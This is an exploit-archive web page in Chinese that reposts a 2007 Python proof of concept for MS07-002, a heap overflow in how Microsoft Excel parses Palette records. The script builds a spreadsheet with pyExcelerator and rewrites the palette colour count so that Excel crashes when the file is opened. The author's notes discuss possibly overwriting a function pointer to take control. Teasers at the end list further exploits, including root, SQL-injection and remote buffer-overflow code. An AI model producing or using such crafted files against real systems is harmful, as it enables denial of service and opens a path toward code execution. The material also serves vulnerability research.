Microsoft Excel Malformed Palette Record DoS PoC (MS07-002)

所属分类: 网络安全 / Exploit 阅读数: 193
收藏 0 赞 0 分享
MS07-002 EXCEL Malformed Palette Record Vulnerability DOS POC

######
Author
######
LifeAsaGeek at gmail.com
... and Microsoft said that vuln credit is for Greg MacManus of iDefense Labs

########################
Vulnerablity Description
########################
Bound error occurs when parsing Palette Record and it causes Heap Overflow
check out here - http://picasaweb.google.com/lifeasageek/MS07002/photo?pli=1#5022146178204021506
which is generated by DarunGrim
( and I want to say I'm not a person who made this analyzer ==; )

#############
Attack Vector
#############
Arbitary Data will be overwritten to the heap, but arbitary data is highly depends on the stack status !
Result of heap overflow, you can overwrite 2 bytes to restricted range address ( not anywhere )
In *CERTAIN* environment( such as open excel file which is already opened)
you can catch the flow by modify function pointer, but it doesn't have a reliablity at all
Let me know if you have a good method to break down

######
Result
######
DOS

#####
Notes
#####
You should modify pyExcelerator module because it doesn't generate Palette Record

pyExcelerator diff results would be like below

diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\BIFFRecords.py pyExcelerator\BIFFRecords.py
1104a1105,1108
> def __init__(self):
> BiffRecord.__init__(self)
> self._rec_data = pack('<H', 0x0038) # number of colours
> self._rec_data = 'A' * 0xe0
diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\Workbook.py pyExcelerator\Workbook.py
468,469c468
< result = ''
< return result
---
> return BIFFRecords.PaletteRecord().get()

!! THIS IS ONLY FOR EDUCATIONAL PURPOSE !!
- 2007.01.25
"""

import sys, os
from struct import *
from pyExcelerator import *

def CreateXLS():
w = Workbook()
ws = w.add_sheet('MS07-002 POC')
w.save( "before.xls")


def ModifyXLS():
try:
f = open( "before.xls", "rb")
except:
print "File Open Error ! "
sys.exit(0)

str = f.read()
f.close()

#write to malformed xls file
f = open( "after.xls", "wb")

PaletteRecord = pack( "<HHH", 0x0092, 0x00E2, 0x0038)
NewPaletteRecord = pack( "<HHH", 0x0092, 0x00E2, 0x01FF)

palette_idx = str.find( PaletteRecord)

if palette_idx == -1:
print "Cannot find Palette Record"
sys.exit(0)

str = str.replace( PaletteRecord, NewPaletteRecord)
f.write( str)
f.close()

if __name__ == "__main__":
print "==========================================================="
print "MS07-002 Malformed Palette Record vulnerability DOS POC "
print "Create POC Excel File after.xls"
print "by LifeAsaGeek at gmail.com"
print "==========================================================="
CreateXLS()
ModifyXLS()

//http://www.leftworld.net
更多精彩内容其他人还在看

Wordpress Plugin Download Manager 0.2 Arbitrary File Upload Exploit

<a name="upload-file"></a><h2>WORDPRESS PLUGIN DOWNLOAD MANAGER 0.2 REMOTE FILE UPLOAD</h2> <h3>S
收藏 0 赞 0 分享

PHP 4.4.5 / 4.4.6 session_decode() Double Free Exploit PoC

<?php //////////////////////////////////////////////////////////////////////// // _ _ _
收藏 0 赞 0 分享

FreeBSD mcweject 0.9 (eject) Local Root Buffer Overflow Exploit

// ejecsploit.c - local root exploit for bsd's eject.c // harry // vuln found by kokanin (you 31337!!! ;)) // thanks to sacrin
收藏 0 赞 0 分享

Oracle 10g KUPM$MCP.MAIN SQL Injection Exploit

#!/usr/bin/perl # # Remote Oracle KUPM$MCP.MAIN exploit (10g) # # Grant or revoke dba permission to unprivileged user # #
收藏 0 赞 0 分享

NaviCOPA Web Server 2.01 Remote Buffer Overflow Exploit (meta)

## # This file is part of the Metasploit Framework and may be redistributed # according to the licenses defined in the Authors field b
收藏 0 赞 0 分享

MS Internet Explorer Recordset Double Free Memory Exploit

<HTML> <!-- ********************************************************************************** Microsoft Internet Explo
收藏 0 赞 0 分享

Easy File Sharing FTP Server 2.0 (PASS) Remote Exploit

#!/usr/bin/python # Remote exploit for Easy File Sharing FTP server V2.0. The vulnerability # was discovered by h07 and a POC for wi
收藏 0 赞 0 分享

Linux Kernel

/* Linux Kernel DCCP Memory Disclosure Vulnerability Synopsis: The Linux kernel is susceptible to a locally exploitable flaw w
收藏 0 赞 0 分享

MS Internet Explorer (FTP Server Response) DoS Exploit

#!/usr/bin/perl # MS 07-016 FTP Server Response PoC # Usage: ./ms07016ftp.pl [LISTEN_IP] # # Tested Against: MSIE 6.0290
收藏 0 赞 0 分享

MS Windows DCE-RPC svcctl ChangeServiceConfig2A() Memory Corruption

#!/usr/bin/python # MS Windows DCE-RPC svcctl ChangeServiceConfig2A() 0day Memory Corruption PoC Exploit # Bug discovered by Krystia
收藏 0 赞 0 分享
查看更多